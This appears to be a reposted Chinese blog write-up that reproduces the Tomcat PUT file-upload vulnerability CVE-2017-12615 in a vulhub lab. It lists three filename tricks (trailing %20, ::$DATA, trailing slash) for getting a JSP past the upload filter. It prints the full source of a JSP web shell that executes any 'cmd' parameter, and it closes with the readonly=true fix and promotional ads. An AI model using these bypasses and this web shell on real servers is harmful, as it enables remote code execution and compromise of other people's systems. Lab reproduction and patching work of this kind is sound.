Tomcat任意文件写入(CVE-2017-12615)
2023-3-1 20:4:49 Author: 渗透安全团队(查看原文) 阅读量:19 收藏

里面一些重要的文件,需要了解其作用:

1.server.xml:配置tomcat启动的端口号,host主机,Context等。
2.web.xml文件:部署描述文件,这个web.xml描述了一些默认的servlet,部署每个webapp时,都会调用这个文件,配置该web应用的默认servlet。

3.tomcat-users.xml:tomcat用户密码与权限。

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,CVE-2017-12615CVE-2017-12616,其中远程代码执行执行漏洞(CVE-2017-12615)当Tomcat运行在Windows主机上,且启用了HTTP PUT请求方法, (例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的JSP文件,之后,JSP文件中的代码将能服务器执行。

影响范围:Apache Tomcat 7.0.0-7.0.81(默认配置)

复现环境:Apache Tomcat 8.5.19

漏洞产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但是限制了jsp后缀,不过对于不同平台有多种绕过方法。

这里我们使用vulhub靶场进行复现。

cd CVE-2017-12615docker-compose up -d

docker psdocker exec -ti 2 bashcat conf/web.xml | grep readonly

我们访问一下漏洞页面。

漏洞地址:http://192.168.111.133:8080/

我们抓包,修改如下:

可以看到,成功上传了文件,但是直接上传jsp文件是不被允许的!!!

这里我们需要绕过。

Windows下不允许文件以空格结尾以PUT /shell1.jsp%20 HTTP/1.1上传到windows会被自动去掉末尾的空格。
WindowsNTFS流PUT /shell2.jsp::$DATA HTTP/1.1
在文件名字中是非法的,也会被去除(Linux/Windows)PUT /shell3.jsp /HTTP/1.1

    可以看到三种方法均上传成功。

    接下来,我们上传冰蝎jsp一句话。

    我们访问页面查看:http://192.168.111.133:8080/4.jsp

    我们使用冰蝎链接。

    这里使用以下cmd一句话。

    <%@ page import="java.util.*,java.io.*"%>
    <%
    if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
    }
    %>

    Burp截图如下:

    我们访问链接:http://192.168.111.133:8080/5.jsp?cmd=id

    用户可以禁用PUT方法来防护此漏洞,操作方式如下:

    在Tomcat的web.xml文件中配置org.apache.catalina.servlets.DefualtServlet的初始化参数。

    <init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
    </init-param>

    确保readonly参数为true(默认值),即不允许DELETE和PUT操作。


    付费圈子

    欢 迎 加 入 星 球 !

    代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

    进成员内部群

    星球的最近主题和星球内部工具一些展示

    关 注 有 礼

    关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

     还在等什么?赶紧点击下方名片关注学习吧!


    群聊 | 技术交流群-群除我佬

    干货|史上最全一句话木马

    干货 | CS绕过vultr特征检测修改算法

    实战 | 用中国人写的红队服务器搞一次内网穿透练习

    实战 | 渗透某培训平台经历

    实战 | 一次曲折的钓鱼溯源反制

    免责声明
    由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
    好文分享收藏赞一下最美点在看哦

    文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247499054&idx=2&sn=522048e4ceb5781ef7b55f1ac670bf4a&chksm=c1760081f6018997e1b3cab574472ca0a2a2bda404ec603804a253ed4f11a90afee360a49cc5#rd
    如有侵权请联系:admin#unsafe.sh